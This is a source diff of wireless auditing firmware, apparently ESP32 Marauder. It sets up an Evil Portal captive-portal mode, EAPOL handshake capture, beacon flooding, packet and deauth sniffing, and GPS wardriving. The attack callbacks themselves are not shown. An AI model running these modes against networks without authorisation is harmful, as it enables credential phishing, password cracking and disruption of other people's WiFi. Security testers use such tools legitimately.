+  #elif defined(XIAO_ESP32_S3)
+    xiao_led.sniffLED();
+  #else
+    led_obj.setMode(MODE_SNIFF);
+  #endif
+
+  #ifdef HAS_SCREEN
+    display_obj.TOP_FIXED_AREA_2 = 48;
+    display_obj.tteBar = true;
+    display_obj.print_delay_1 = 15;
+    display_obj.print_delay_2 = 10;
+    display_obj.initScrollValues(true);
+    display_obj.tft.setTextWrap(false);
+    display_obj.tft.setTextColor(TFT_WHITE, color);
+    #ifdef HAS_ILI9341
+      display_obj.tft.fillRect(0,16,240,16, color);
+      display_obj.tft.drawCentreString(" Evil Portal ",120,16,2);
+      display_obj.touchToExit();
+    #endif
+    display_obj.tft.setTextColor(TFT_MAGENTA, TFT_BLACK);
+    display_obj.setupScrollArea(display_obj.TOP_FIXED_AREA_2, BOT_FIXED_AREA);
+  #endif
+  evil_portal_obj.begin(ssids, access_points);
+  //if (!evil_portal_obj.begin(ssids, access_points)) {
+  //  Serial.println("Could not successfully start EvilPortal. Setting WIFI_SCAN_OFF...");
+  //  this->StartScan(WIFI_SCAN_OFF, TFT_MAGENTA);
+  //  return;
+  //}
+  //else
+  //  Serial.println("Setup EvilPortal. Current mode: " + this->currentScanMode);
+  this->wifi_initialized = true;
+  initTime = millis();
+}
+
+// Function to start running a beacon scan
+void WiFiScan::RunAPScan(uint8_t scan_mode, uint16_t color)
+{
+  #ifdef WRITE_PACKETS_SERIAL
+    buffer_obj.open();
+  #elif defined(HAS_SD)
+    sd_obj.openCapture("ap");
+  #else
+    return;
+  #endif
+
+  #ifdef MARAUDER_FLIPPER
+    flipper_led.sniffLED();
+  #elif defined(XIAO_ESP32_S3)
+    xiao_led.sniffLED();
+  #else
+    led_obj.setMode(MODE_SNIFF);
+  #endif
+
+  Serial.println(text_table4[9] + (String)access_points->size());
+  #ifdef HAS_SCREEN
+    display_obj.TOP_FIXED_AREA_2 = 48;
+    display_obj.tteBar = true;
+    display_obj.print_delay_1 = 15;
+    display_obj.print_delay_2 = 10;
+    display_obj.initScrollValues(true);
+    display_obj.tft.setTextWrap(false);
+    display_obj.tft.setTextColor(TFT_WHITE, color);
+    #ifdef HAS_ILI9341
+      display_obj.tft.fillRect(0,16,240,16, color);
+      display_obj.tft.drawCentreString(text_table4[44],120,16,2);
+      display_obj.touchToExit();
+    #endif
+    display_obj.tft.setTextColor(TFT_GREEN, TFT_BLACK);
+    display_obj.setupScrollArea(display_obj.TOP_FIXED_AREA_2, BOT_FIXED_AREA);
+  #endif
+
+  delete access_points;
+  access_points = new LinkedList<AccessPoint>();
+
+  esp_wifi_init(&cfg);
+  esp_wifi_set_storage(WIFI_STORAGE_RAM);
+  esp_wifi_set_mode(WIFI_MODE_NULL);
+  esp_wifi_start();
+  esp_wifi_set_promiscuous(true);
+  esp_wifi_set_promiscuous_filter(&filt);
+  //if (scan_mode == WIFI_SCAN_TARGET_AP_FULL)
+  esp_wifi_set_promiscuous_rx_cb(&apSnifferCallbackFull);
+  //else
+  //  esp_wifi_set_promiscuous_rx_cb(&apSnifferCallback);
+  esp_wifi_set_channel(set_channel, WIFI_SECOND_CHAN_NONE);
+  this->wifi_initialized = true;
+  initTime = millis();
+}
+
+#ifdef HAS_SCREEN
+  void WiFiScan::RunLvJoinWiFi(uint8_t scan_mode, uint16_t color) {
+  
+    display_obj.tft.init();
+    display_obj.tft.setRotation(1);
+    
+    #ifdef TFT_SHIELD
+      uint16_t calData[5] = { 391, 3491, 266, 3505, 7 }; // Landscape TFT Shield
+      Serial.println("Using TFT Shield");
+    #else if defined(TFT_DIY)
+      uint16_t calData[5] = { 213, 3469, 320, 3446, 1 }; // Landscape TFT DIY
+      Serial.println("Using TFT DIY");
+    #endif
+    display_obj.tft.setTouch(calData);
+    
+  
+    lv_obj_t * scr = lv_cont_create(NULL, NULL);
+    lv_disp_load_scr(scr);
+  
+  }
+#endif
+
+void WiFiScan::RunClearStations() {
+  #ifdef HAS_SCREEN
+    display_obj.tft.setTextWrap(false);
+    display_obj.tft.setFreeFont(NULL);
+    display_obj.tft.setCursor(0, 100);
+    display_obj.tft.setTextSize(1);
+    display_obj.tft.setTextColor(TFT_CYAN);
+  
+    display_obj.tft.println(F(text_table4[45]));
+    display_obj.tft.println(text_table4[46] + (String)this->clearStations());
+  #else
+    this->clearStations();
+  #endif
+}
+
+void WiFiScan::RunClearAPs() {
+  #ifdef HAS_SCREEN
+    display_obj.tft.setTextWrap(false);
+    display_obj.tft.setFreeFont(NULL);
+    display_obj.tft.setCursor(0, 100);
+    display_obj.tft.setTextSize(1);
+    display_obj.tft.setTextColor(TFT_CYAN);
+  
+    display_obj.tft.println(F(text_table4[9]));
+    display_obj.tft.println(text_table4[10] + (String)this->clearAPs());
+    display_obj.tft.println(F(text_table4[45]));
+    display_obj.tft.println(text_table4[46] + (String)this->clearStations());
+  #else
+    this->clearAPs();
+    this->clearStations();
+  #endif
+}
+
+void WiFiScan::RunClearSSIDs() {
+  #ifdef HAS_SCREEN
+    display_obj.tft.setTextWrap(false);
+    display_obj.tft.setFreeFont(NULL);
+    display_obj.tft.setCursor(0, 100);
+    display_obj.tft.setTextSize(1);
+    display_obj.tft.setTextColor(TFT_CYAN);
+  
+    display_obj.tft.println(F(text_table4[11]));
+    display_obj.tft.println(text_table4[12] + (String)this->clearSSIDs());
+  #else
+    this->clearSSIDs();
+  #endif
+}
+
+void WiFiScan::RunGenerateSSIDs(int count) {
+  #ifdef HAS_SCREEN
+    display_obj.tft.setTextWrap(false);
+    display_obj.tft.setFreeFont(NULL);
+    display_obj.tft.setCursor(0, 100);
+    display_obj.tft.setTextSize(1);
+    display_obj.tft.setTextColor(TFT_CYAN);
+  
+    display_obj.tft.println(F(text_table4[13]));
+  
+    display_obj.tft.println(text_table4[14] + (String)this->generateSSIDs());
+    display_obj.tft.println(text_table4[15] + (String)ssids->size());
+  #else
+    this->generateSSIDs(count);
+  #endif
+}
+
+/*void WiFiScan::RunShutdownBLE() {
+  #ifdef HAS_SCREEN
+    display_obj.tft.setTextWrap(false);
+    display_obj.tft.setFreeFont(NULL);
+    display_obj.tft.setCursor(0, 100);
+    display_obj.tft.setTextSize(1);
+    display_obj.tft.setTextColor(TFT_CYAN);
+  
+    display_obj.tft.print(F(text_table4[18]));
+  #endif
+
+  if (this->ble_initialized) {
+    this->shutdownBLE();
+    #ifdef HAS_SCREEN
+      display_obj.tft.setTextColor(TFT_GREEN);
+      display_obj.tft.println(F("OK"));
+    #endif
+  }
+  else {
+    #ifdef HAS_SCREEN
+      display_obj.tft.setTextColor(TFT_RED);
+      display_obj.tft.println(F(text17));
+      display_obj.tft.println(F(text_table4[19]));
+    #endif
+  }
+}*/
+
+void WiFiScan::RunGPSInfo() {
+  #ifdef HAS_GPS
+    Serial.println("Refreshing GPS Data on screen...");
+    #ifdef HAS_SCREEN
+
+      // Get screen position ready
+      display_obj.tft.setTextWrap(false);
+      display_obj.tft.setFreeFont(NULL);
+      display_obj.tft.setCursor(0, SCREEN_HEIGHT / 3);
+      display_obj.tft.setTextSize(1);
+      display_obj.tft.setTextColor(TFT_CYAN);
+
+      // Clean up screen first
+      //display_obj.tft.fillRect(0, 0, 240, STATUS_BAR_WIDTH, STATUSBAR_COLOR);
+      display_obj.tft.fillRect(0, (SCREEN_HEIGHT / 3) - 6, SCREEN_WIDTH, SCREEN_HEIGHT - ((SCREEN_HEIGHT / 3) - 6), TFT_BLACK);
+
+      // Print the GPS data: 3
+      display_obj.tft.setCursor(0, SCREEN_HEIGHT / 3);
+      if (gps_obj.getFixStatus())
+        display_obj.tft.println("  Good Fix: Yes");
+      else
+        display_obj.tft.println("  Good Fix: No");
+        
+      display_obj.tft.println("Satellites: " + gps_obj.getNumSatsString());
+      display_obj.tft.println("  Latitude: " + gps_obj.getLat());
+      display_obj.tft.println(" Longitude: " + gps_obj.getLon());
+      display_obj.tft.println("  Altitude: " + (String)gps_obj.getAlt());
+      display_obj.tft.println("  Datetime: " + gps_obj.getDatetime());
+    #endif
+
+    // Display to serial
+    Serial.println("==== GPS Data ====");
+    if (gps_obj.getFixStatus())
+      Serial.println("  Good Fix: Yes");
+    else
+      Serial.println("  Good Fix: No");
+      
+    Serial.println("Satellites: " + gps_obj.getNumSatsString());
+    Serial.println("  Latitude: " + gps_obj.getLat());
+    Serial.println(" Longitude: " + gps_obj.getLon());
+    Serial.println("  Altitude: " + (String)gps_obj.getAlt());
+    Serial.println("  Datetime: " + gps_obj.getDatetime());
+  #endif
+}
+
+void WiFiScan::RunInfo()
+{
+  String sta_mac = this->getStaMAC();
+  String ap_mac = this->getApMAC();
+  String free_ram = this->freeRAM();
+
+  Serial.println(free_ram);
+
+  #ifdef HAS_SCREEN
+    display_obj.tft.setTextWrap(false);
+    display_obj.tft.setFreeFont(NULL);
+    display_obj.tft.setCursor(0, SCREEN_HEIGHT / 3);
+    display_obj.tft.setTextSize(1);
+    display_obj.tft.setTextColor(TFT_CYAN);
+    display_obj.tft.println(text_table4[20]);
+    display_obj.tft.println(text_table4[21] + display_obj.version_number);
+    display_obj.tft.println(text_table4[22] + (String)esp_get_idf_version());
+  #endif
+
+  if (this->wsl_bypass_enabled) {
+    #ifdef HAS_SCREEN
+      display_obj.tft.println(text_table4[23]);
+    #endif
+  }
+  else {
+    #ifdef HAS_SCREEN
+      display_obj.tft.println(text_table4[24]);
+    #endif
+  }
+
+  #ifdef HAS_SCREEN
+    display_obj.tft.println(text_table4[25] + sta_mac);
+    display_obj.tft.println(text_table4[26] + ap_mac);
+    display_obj.tft.println(text_table4[27] + free_ram);
+  #endif
+
+  #ifdef WRITE_PACKETS_SERIAL
+    #ifdef HAS_SCREEN
+      display_obj.tft.println(text_table4[48]);
+    #endif
+  #elif defined(HAS_SD)
+    if (sd_obj.supported) {
+      #ifdef HAS_SCREEN
+        display_obj.tft.println(text_table4[28]);
+        display_obj.tft.print(text_table4[29]);
+        display_obj.tft.print(sd_obj.card_sz);
+        display_obj.tft.println("MB");
+      #endif
+    } else {
+      #ifdef HAS_SCREEN
+        display_obj.tft.println(text_table4[30]);
+        display_obj.tft.println(text_table4[31]);
+      #endif
+    }
+  #else
+    return;
+  #endif
+
+  #ifdef HAS_BATTERY
+    battery_obj.battery_level = battery_obj.getBatteryLevel();
+    if (battery_obj.i2c_supported) {
+      #ifdef HAS_SCREEN
+        display_obj.tft.println(text_table4[32]);
+        display_obj.tft.println(text_table4[33] + (String)battery_obj.battery_level + "%");
+      #endif
+    }
+    else {
+      #ifdef HAS_SCREEN
+        display_obj.tft.println(text_table4[34]);
+      #endif
+    }
+  #endif
+  
+  //#ifdef HAS_SCREEN
+  //  display_obj.tft.println(text_table4[35] + (String)temp_obj.current_temp + " C");
+  //#endif
+}
+
+void WiFiScan::RunPacketMonitor(uint8_t scan_mode, uint16_t color)
+{
+  #ifdef MARAUDER_FLIPPER
+    flipper_led.sniffLED();
+  #elif defined(XIAO_ESP32_S3)
+    xiao_led.sniffLED();
+  #else
+    led_obj.setMode(MODE_SNIFF);
+  #endif
+
+  #ifdef WRITE_PACKETS_SERIAL
+    buffer_obj.open();
+  #elif defined(HAS_SD)
+    sd_obj.openCapture("packet_monitor");
+  #else
+    return;
+  #endif
+
+  #ifdef HAS_ILI9341
+    
+    #ifdef HAS_SCREEN
+      display_obj.tft.init();
+      display_obj.tft.setRotation(1);
+      display_obj.tft.fillScreen(TFT_BLACK);
+    #endif
+  
+    #ifdef HAS_SCREEN
+      #ifdef TFT_SHIELD
+        uint16_t calData[5] = { 391, 3491, 266, 3505, 7 }; // Landscape TFT Shield
+        Serial.println("Using TFT Shield");
+      #else if defined(TFT_DIY)
+        uint16_t calData[5] = { 213, 3469, 320, 3446, 1 }; // Landscape TFT DIY
+        Serial.println("Using TFT DIY");
+      #endif
+      display_obj.tft.setTouch(calData);
+    
+      //display_obj.tft.setFreeFont(1);
+      display_obj.tft.setFreeFont(NULL);
+      display_obj.tft.setTextSize(1);
+      display_obj.tft.fillRect(127, 0, 193, 28, TFT_BLACK); // Buttons
+      display_obj.tft.fillRect(12, 0, 90, 32, TFT_BLACK); // color key
+    
+      delay(10);
+    
+      display_obj.tftDrawGraphObjects(x_scale); //draw graph objects
+      display_obj.tftDrawColorKey();
+      display_obj.tftDrawXScaleButtons(x_scale);
+      display_obj.tftDrawYScaleButtons(y_scale);
+      display_obj.tftDrawChannelScaleButtons(set_channel);
+      display_obj.tftDrawExitScaleButtons();
+    #endif
+  #else
+    #ifdef HAS_SCREEN
+      display_obj.TOP_FIXED_AREA_2 = 48;
+      display_obj.tteBar = true;
+      display_obj.print_delay_1 = 15;
+      display_obj.print_delay_2 = 10;
+      display_obj.initScrollValues(true);
+      display_obj.tft.setTextWrap(false);
+      display_obj.tft.setTextColor(TFT_WHITE, color);
+      #ifdef HAS_ILI9341
+        display_obj.tft.fillRect(0,16,240,16, color);
+        display_obj.tft.drawCentreString(text_table4[38],120,16,2);
+        display_obj.touchToExit();
+      #endif
+      display_obj.tft.setTextColor(TFT_GREEN, TFT_BLACK);
+      display_obj.setupScrollArea(display_obj.TOP_FIXED_AREA_2, BOT_FIXED_AREA);
+    #endif
+  #endif
+
+  Serial.println("Running packet scan...");
+  esp_wifi_init(&cfg);
+  esp_wifi_set_storage(WIFI_STORAGE_RAM);
+  esp_wifi_set_mode(WIFI_MODE_NULL);
+  esp_wifi_start();
+  esp_wifi_set_promiscuous(true);
+  esp_wifi_set_promiscuous_filter(&filt);
+  esp_wifi_set_promiscuous_rx_cb(&wifiSnifferCallback);
+  esp_wifi_set_channel(set_channel, WIFI_SECOND_CHAN_NONE);
+  this->wifi_initialized = true;
+  uint32_t initTime = millis();
+}
+
+void WiFiScan::RunEapolScan(uint8_t scan_mode, uint16_t color)
+{
+  #ifdef MARAUDER_FLIPPER
+    flipper_led.sniffLED();
+  #elif defined(XIAO_ESP32_S3)
+    xiao_led.sniffLED();
+  #else
+    led_obj.setMode(MODE_SNIFF);
+  #endif
+  
+  num_eapol = 0;
+
+  #ifdef HAS_ILI9341
+    #ifdef HAS_SCREEN
+      display_obj.tft.init();
+      display_obj.tft.setRotation(1);
+      display_obj.tft.fillScreen(TFT_BLACK);
+    #endif
+  
+    #ifdef WRITE_PACKETS_SERIAL
+      buffer_obj.open();
+    #else
+      sd_obj.openCapture("eapol");
+    #endif
+  
+    #ifdef HAS_SCREEN
+      #ifdef TFT_SHIELD
+        uint16_t calData[5] = { 391, 3491, 266, 3505, 7 }; // Landscape TFT Shield
+        //Serial.println("Using TFT Shield");
+      #else if defined(TFT_DIY)
+        uint16_t calData[5] = { 213, 3469, 320, 3446, 1 }; // Landscape TFT DIY
+        //Serial.println("Using TFT DIY");
+      #endif
+      display_obj.tft.setTouch(calData);
+    
+      display_obj.tft.setFreeFont(NULL);
+      display_obj.tft.setTextSize(1);
+      display_obj.tft.fillRect(127, 0, 193, 28, TFT_BLACK); // Buttons
+      display_obj.tft.fillRect(12, 0, 90, 32, TFT_BLACK); // color key
+    
+      delay(10);
+    
+      display_obj.tftDrawGraphObjects(x_scale); //draw graph objects
+      display_obj.tftDrawEapolColorKey();
+      display_obj.tftDrawChannelScaleButtons(set_channel);
+      display_obj.tftDrawExitScaleButtons();
+    #endif
+  #else
+    #ifdef WRITE_PACKETS_SERIAL
+      buffer_obj.open();
+    #elif defined(HAS_SD)
+      sd_obj.openCapture("eapol");
+    #else
+      return;
+    #endif
+    
+    #ifdef HAS_SCREEN
+      display_obj.TOP_FIXED_AREA_2 = 48;
+      display_obj.tteBar = true;
+      display_obj.print_delay_1 = 15;
+      display_obj.print_delay_2 = 10;
+      display_obj.initScrollValues(true);
+      display_obj.tft.setTextWrap(false);
+      display_obj.tft.setTextColor(TFT_WHITE, color);
+      #ifdef HAS_ILI9341
+        display_obj.tft.fillRect(0,16,240,16, color);
+        display_obj.tft.drawCentreString(text_table4[38],120,16,2);
+        display_obj.touchToExit();
+      #endif
+      display_obj.tft.setTextColor(TFT_GREEN, TFT_BLACK);
+      display_obj.setupScrollArea(display_obj.TOP_FIXED_AREA_2, BOT_FIXED_AREA);
+    #endif
+  #endif
+
+  esp_wifi_init(&cfg);
+  esp_wifi_set_storage(WIFI_STORAGE_RAM);
+  esp_wifi_set_mode(WIFI_MODE_AP);
+
+  esp_err_t err;
+  wifi_config_t conf;
+  err = esp_wifi_set_protocol(WIFI_IF_AP, WIFI_PROTOCOL_11B | WIFI_PROTOCOL_11G | WIFI_PROTOCOL_11N | WIFI_PROTOCOL_LR);
+  if (err != 0)
+  {
+    Serial.print("could not set protocol : err=0x");
+    Serial.println(err, HEX);
+  }
+
+  esp_wifi_get_config((wifi_interface_t)WIFI_IF_AP, &conf);
+  conf.ap.ssid[0] = '\0';
+  conf.ap.ssid_len = 0;
+  conf.ap.channel = this->set_channel;
+  conf.ap.ssid_hidden = 1;
+  conf.ap.max_connection = 0;
+  conf.ap.beacon_interval = 60000;
+
+  err = esp_wifi_set_config((wifi_interface_t)WIFI_IF_AP, &conf);
+  if (err != 0)
+  {
+    Serial.print("AP config set error, Maurauder SSID might visible : err=0x");
+    Serial.println(err, HEX);
+  }
+
+  esp_wifi_start();
+  esp_wifi_set_promiscuous(true);
+  esp_wifi_set_promiscuous_filter(&filt);
+  if (scan_mode == WIFI_SCAN_ACTIVE_EAPOL)
+    esp_wifi_set_promiscuous_rx_cb(&activeEapolSnifferCallback);
+  else if (scan_mode == WIFI_SCAN_ACTIVE_LIST_EAPOL)
+    esp_wifi_set_promiscuous_rx_cb(&activeEapolSnifferCallback);
+  else
+    esp_wifi_set_promiscuous_rx_cb(&eapolSnifferCallback);
+  esp_wifi_set_channel(set_channel, WIFI_SECOND_CHAN_NONE);
+  this->wifi_initialized = true;
+  initTime = millis();
+}
+
+
+// Function to prepare for beacon mimic
+void WiFiScan::RunMimicFlood(uint8_t scan_mode, uint16_t color) {
+  #ifdef HAS_SCREEN
+    display_obj.TOP_FIXED_AREA_2 = 48;
+    display_obj.tteBar = true;
+    display_obj.print_delay_1 = 15;
+    display_obj.print_delay_2 = 10;
+    display_obj.initScrollValues(true);
+    display_obj.tft.setTextWrap(false);
+    display_obj.tft.setTextColor(TFT_BLACK, color);
+    #ifdef HAS_ILI9341
+      display_obj.tft.fillRect(0,16,240,16, color);
+      display_obj.tft.drawCentreString(" Mimic Flood ",120,16,2);
+      display_obj.touchToExit();
+    #endif
+    display_obj.tft.setTextColor(TFT_GREEN, TFT_BLACK);
+  #endif
+  
+  packets_sent = 0;
+  esp_wifi_init(&cfg);
+  esp_wifi_set_storage(WIFI_STORAGE_RAM);
+  esp_wifi_set_mode(WIFI_AP_STA);
+  esp_wifi_start();
+  esp_wifi_set_promiscuous_filter(NULL);
+  esp_wifi_set_promiscuous(true);
+  esp_wifi_set_max_tx_power(78);
+  this->wifi_initialized = true;
+  initTime = millis();
+}
+
+void WiFiScan::RunPwnScan(uint8_t scan_mode, uint16_t color)
+{
+  #ifdef WRITE_PACKETS_SERIAL
+    buffer_obj.open();
+  #elif defined(HAS_SD)
+    sd_obj.openCapture("pwnagotchi");
+  #else
+    return;
+  #endif
+
+  #ifdef MARAUDER_FLIPPER
+    flipper_led.sniffLED();
+  #elif defined(XIAO_ESP32_S3)
+    xiao_led.sniffLED();
+  #else
+    led_obj.setMode(MODE_SNIFF);
+  #endif
+
+  #ifdef HAS_SCREEN
+    display_obj.TOP_FIXED_AREA_2 = 48;
+    display_obj.tteBar = true;
+    display_obj.print_delay_1 = 15;
+    display_obj.print_delay_2 = 10;
+    display_obj.initScrollValues(true);
+    display_obj.tft.setTextWrap(false);
+    display_obj.tft.setTextColor(TFT_WHITE, color);
+    #ifdef HAS_ILI9341
+      display_obj.tft.fillRect(0,16,240,16, color);
+      display_obj.tft.drawCentreString(text_table4[37],120,16,2);
+      display_obj.touchToExit();
+    #endif
+    display_obj.tft.setTextColor(TFT_GREEN, TFT_BLACK);
+    display_obj.setupScrollArea(display_obj.TOP_FIXED_AREA_2, BOT_FIXED_AREA);
+  #endif
+  
+  esp_wifi_init(&cfg);
+  esp_wifi_set_storage(WIFI_STORAGE_RAM);
+  esp_wifi_set_mode(WIFI_MODE_NULL);
+  esp_wifi_start();
+  esp_wifi_set_promiscuous(true);
+  esp_wifi_set_promiscuous_filter(&filt);
+  esp_wifi_set_promiscuous_rx_cb(&pwnSnifferCallback);
+  esp_wifi_set_channel(set_channel, WIFI_SECOND_CHAN_NONE);
+  this->wifi_initialized = true;
+  initTime = millis();
+}
+
+void WiFiScan::executeWarDrive() {
+  #ifdef HAS_GPS
+    if (gps_obj.getGpsModuleStatus()) {
+      bool do_save;
+      String display_string;
+      
+      while (WiFi.scanComplete() == WIFI_SCAN_RUNNING) {
+        Serial.println("Scan running...");
+        delay(500);
+      }
+      
+      int n = WiFi.scanNetworks(false, true, false, 110, this->set_channel);
+
+      if (n > 0) {
+        for (int i = 0; i < n; i++) {
+          display_string = "";
+          do_save = false;
+          uint8_t *this_bssid_raw = WiFi.BSSID(i);
+          char this_bssid[18] = {0};
+          sprintf(this_bssid, "%02X:%02X:%02X:%02X:%02X:%02X", this_bssid_raw[0], this_bssid_raw[1], this_bssid_raw[2], this_bssid_raw[3], this_bssid_raw[4], this_bssid_raw[5]);
+
+          if (this->seen_mac(this_bssid_raw))
+            continue;
+
+          this->save_mac(this_bssid_raw);
+
+          String ssid = WiFi.SSID(i);
+          ssid.replace(",","_");
+
+          if (ssid != "") {
+            display_string.concat(ssid);
+          }
+          else {
+            display_string.concat(this_bssid);
+          }
+
+          if (gps_obj.getFixStatus()) {
+            do_save = true;
+            display_string.concat(" | Lt: " + gps_obj.getLat());
+            display_string.concat(" | Ln: " + gps_obj.getLon());
+          }
+          else {
+            display_string.concat(" | GPS: No Fix");
+          }
+
+          int temp_len = display_string.length();
+
+          #ifdef HAS_SCREEN
+            for (int i = 0; i < 40 - temp_len; i++)
+            {
+              display_string.concat(" ");
+            }
+            
+            display_obj.display_buffer->add(display_string);
+          #endif
+
+
+          String wardrive_line = WiFi.BSSIDstr(i) + "," + ssid + "," + this->security_int_to_string(WiFi.encryptionType(i)) + "," + gps_obj.getDatetime() + "," + (String)WiFi.channel(i) + "," + (String)WiFi.RSSI(i) + "," + gps_obj.getLat() + "," + gps_obj.getLon() + "," + gps_obj.getAlt() + "," + gps_obj.getAccuracy() + ",WIFI\n";
+          Serial.print((String)this->mac_history_cursor + " | " + wardrive_line);
+
+          evil_portal_obj.addLog(wardrive_line, wardrive_line.length());
+        }
+      }
+      this->channelHop();
+
+      // Free up that memory, you sexy devil
+      WiFi.scanDelete();
+    }
+  #endif
+}
+
+// Function to start running a beacon scan
+void WiFiScan::RunBeaconScan(uint8_t scan_mode, uint16_t color)
+{
+  #ifdef WRITE_PACKETS_SERIAL
+    buffer_obj.open();
+  #elif defined(HAS_SD)
+    if (scan_mode == WIFI_SCAN_AP)
+      sd_obj.openCapture("beacon");
+    else if (scan_mode == WIFI_SCAN_WAR_DRIVE) {
+      #ifdef HAS_GPS
+        if (gps_obj.getGpsModuleStatus()) {
+          sd_obj.openLog("wardrive");
+          String header_line = "WigleWifi-1.4,appRelease=" + (String)MARAUDER_VERSION + ",model=ESP32 Marauder,release=" + (String)MARAUDER_VERSION + ",device=ESP32 Marauder,display=SPI TFT,board=ESP32 Marauder,brand=JustCallMeKoko\nMAC,SSID,AuthMode,FirstSeen,Channel,RSSI,CurrentLatitude,CurrentLongitude,AltitudeMeters,AccuracyMeters,Type\n";
+          evil_portal_obj.addLog(header_line, header_line.length());
+        }
+      #endif
+    }
+  #else
+    return;
+  #endif
+
+  #ifdef MARAUDER_FLIPPER
+    flipper_led.sniffLED();
+  #elif defined(XIAO_ESP32_S3)
+    xiao_led.sniffLED();
+  #else
+    led_obj.setMode(MODE_SNIFF);
+  #endif
+  
+  #ifdef HAS_SCREEN
+    display_obj.TOP_FIXED_AREA_2 = 48;
+    display_obj.tteBar = true;
+    display_obj.print_delay_1 = 15;
+    display_obj.print_delay_2 = 10;
+    display_obj.initScrollValues(true);
+    display_obj.tft.setTextWrap(false);
+    display_obj.tft.setTextColor(TFT_WHITE, color);
+    #ifdef HAS_ILI9341
+      display_obj.tft.fillRect(0,16,240,16, color);
+      if (scan_mode == WIFI_SCAN_AP)
+        display_obj.tft.drawCentreString(text_table4[38],120,16,2);
+      else if (scan_mode == WIFI_SCAN_WAR_DRIVE) {
+        this->clearMacHistory();
+        display_obj.tft.drawCentreString("Wardrive", 120, 16, 2);
+      }
+      display_obj.touchToExit();
+    #endif
+    display_obj.tft.setTextColor(TFT_GREEN, TFT_BLACK);
+    display_obj.setupScrollArea(display_obj.TOP_FIXED_AREA_2, BOT_FIXED_AREA);
+  #endif
+
+  if (scan_mode != WIFI_SCAN_WAR_DRIVE) {
+  
+    esp_wifi_init(&cfg);
+    esp_wifi_set_storage(WIFI_STORAGE_RAM);
+    esp_wifi_set_mode(WIFI_MODE_NULL);
+    esp_wifi_start();
+    esp_wifi_set_promiscuous(true);
+    esp_wifi_set_promiscuous_filter(&filt);
+    esp_wifi_set_promiscuous_rx_cb(&beaconSnifferCallback);
+    esp_wifi_set_channel(set_channel, WIFI_SECOND_CHAN_NONE);
+  }
+  else {
+    this->startWardriverWiFi();
+  }
+  this->wifi_initialized = true;
+  initTime = millis();
+}
+
+void WiFiScan::startWardriverWiFi() {
+  WiFi.mode(WIFI_STA);
+  WiFi.disconnect();
+}
+
+void WiFiScan::RunStationScan(uint8_t scan_mode, uint16_t color)
+{
+  #ifdef WRITE_PACKETS_SERIAL
+    buffer_obj.open();
+  #elif defined(HAS_SD)
+    sd_obj.openCapture("station");
+  #else
+    return;
+  #endif
+
+  #ifdef MARAUDER_FLIPPER
+    flipper_led.sniffLED();
+  #elif defined(XIAO_ESP32_S3)
+    xiao_led.sniffLED();
+  #else
+    led_obj.setMode(MODE_SNIFF);
+  #endif
+  
+  #ifdef HAS_SCREEN
+    display_obj.TOP_FIXED_AREA_2 = 48;
+    display_obj.tteBar = true;
+    display_obj.print_delay_1 = 15;
+    display_obj.print_delay_2 = 10;
+    display_obj.initScrollValues(true);
+    display_obj.tft.setTextWrap(false);
+    display_obj.tft.setTextColor(TFT_WHITE, color);
+    #ifdef HAS_ILI9341
+      display_obj.tft.fillRect(0,16,240,16, color);
+      display_obj.tft.drawCentreString(text_table1[59],120,16,2);
+      display_obj.touchToExit();
+    #endif
+    display_obj.tft.setTextColor(TFT_GREEN, TFT_BLACK);
+    display_obj.setupScrollArea(display_obj.TOP_FIXED_AREA_2, BOT_FIXED_AREA);
+  #endif
+  
+  esp_wifi_init(&cfg);
+  esp_wifi_set_storage(WIFI_STORAGE_RAM);
+  esp_wifi_set_mode(WIFI_MODE_NULL);
+  esp_wifi_start();
+  esp_wifi_set_promiscuous(true);
+  esp_wifi_set_promiscuous_filter(&filt);
+  esp_wifi_set_promiscuous_rx_cb(&stationSnifferCallback);
+  esp_wifi_set_channel(set_channel, WIFI_SECOND_CHAN_NONE);
+  this->wifi_initialized = true;
+  initTime = millis();
+}
+
+void WiFiScan::RunRawScan(uint8_t scan_mode, uint16_t color)
+{
+  #ifdef WRITE_PACKETS_SERIAL
+    buffer_obj.open();
+  #elif defined(HAS_SD)
+    if (scan_mode != WIFI_SCAN_SIG_STREN)
+      sd_obj.openCapture("raw");
+  #else
+    return;
+  #endif
+
+  #ifdef MARAUDER_FLIPPER
+    flipper_led.sniffLED();
+  #elif defined(XIAO_ESP32_S3)
+    xiao_led.sniffLED();
+  #else
+    led_obj.setMode(MODE_SNIFF);
+  #endif
+  
+  #ifdef HAS_SCREEN
+    display_obj.TOP_FIXED_AREA_2 = 48;
+    display_obj.tteBar = true;
+    display_obj.print_delay_1 = 15;
+    display_obj.print_delay_2 = 10;
+    display_obj.initScrollValues(true);
+    display_obj.tft.setTextWrap(false);
+    display_obj.tft.setTextColor(TFT_WHITE, color);
+    #ifdef HAS_ILI9341
+      display_obj.tft.fillRect(0,16,240,16, color);
+      if (scan_mode != WIFI_SCAN_SIG_STREN)
+        display_obj.tft.drawCentreString(text_table1[58],120,16,2);
+      else
+        display_obj.tft.drawCentreString("Signal Monitor", 120, 16, 2);
+      display_obj.touchToExit();
+    #endif
+    display_obj.tft.setTextColor(TFT_GREEN, TFT_BLACK);
+    display_obj.setupScrollArea(display_obj.TOP_FIXED_AREA_2, BOT_FIXED_AREA);
+  #endif
+  
+  esp_wifi_init(&cfg);
+  esp_wifi_set_storage(WIFI_STORAGE_RAM);
+  esp_wifi_set_mode(WIFI_MODE_NULL);
+  esp_wifi_start();
+  esp_wifi_set_promiscuous(true);
+  esp_wifi_set_promiscuous_filter(&filt);
+  esp_wifi_set_promiscuous_rx_cb(&rawSnifferCallback);
+  esp_wifi_set_channel(set_channel, WIFI_SECOND_CHAN_NONE);
+  this->wifi_initialized = true;
+  initTime = millis();
+}
+
+void WiFiScan::RunDeauthScan(uint8_t scan_mode, uint16_t color)
+{
+  #ifdef WRITE_PACKETS_SERIAL
+    buffer_obj.open();
+  #elif defined(HAS_SD)
+    sd_obj.openCapture("deauth");
+  #else
+    return;
+  #endif
+
+  #ifdef MARAUDER_FLIPPER
+    flipper_led.sniffLED();
+  #elif defined(XIAO_ESP32_S3)
+    xiao_led.sniffLED();
+  #else
+    led_obj.setMode(MODE_SNIFF);
+  #endif
+  
+  #ifdef HAS_SCREEN
+    display_obj.TOP_FIXED_AREA_2 = 48;
+    display_obj.tteBar = true;
+    display_obj.print_delay_1 = 15;
+    display_obj.print_delay_2 = 10;
+    display_obj.initScrollValues(true);
+    display_obj.tft.setTextWrap(false);
+    display_obj.tft.setTextColor(TFT_BLACK, color);
+    #ifdef HAS_ILI9341
+      display_obj.tft.fillRect(0,16,240,16, color);
